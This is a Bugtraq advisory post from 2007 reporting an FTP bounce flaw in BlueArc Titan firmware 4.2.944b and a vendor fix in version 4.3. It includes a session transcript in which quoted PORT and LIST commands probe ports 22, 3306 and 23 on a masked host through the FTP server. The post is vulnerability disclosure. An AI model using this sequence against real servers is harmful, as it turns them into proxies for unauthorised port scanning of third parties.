bugtraq - BlueArc Firmware 4.2.944b FTP bounce

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Date: Tue, 17 Apr 2007 15:00:47 -0500
From: "Tim Rupp" <caphrim007@...il.com>
To: bugtraq@...urityfocus.com
Subject: BlueArc Firmware 4.2.944b FTP bounce

Hi all,

BlueArc Titan 2x00 devices running firmware version 4.2.944b are
susceptible to FTP bounce attacks. The vendor has confirmed this, and
a fix is available in the 4.3 firmware.

Example:
First connect to SSH, success
Then to MySQL, no success
Then to telnet, no success

[user@...alhost ~]$ ftp bluearctitan
Connected to bluearctitan.
220 Server ready (BlueArc-FTPD v1.0)
Name (bluearctitan:user): anonymous
331 Username okay; need password
Password:
230 User logged in, proceed
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "PORT xxx,xxx,xxx,xxx,0,22"
200 PORT Command Okay
ftp> quote "LIST"
150 File status okay; about to open data connection
226 Transfer Complete
ftp> quote "PORT xxx,xxx,xxx,xxx,12,234"
200 PORT Command Okay
ftp> quote "LIST"
150 File status okay; about to open data connection
425 Can't open data connection (dtp_list)
ftp> quote "PORT xxx,xxx,xxx,xxx,0,23"
200 PORT Command Okay
ftp> quote "LIST"
150 File status okay; about to open data connection
425 Can't open data connection (dtp_list)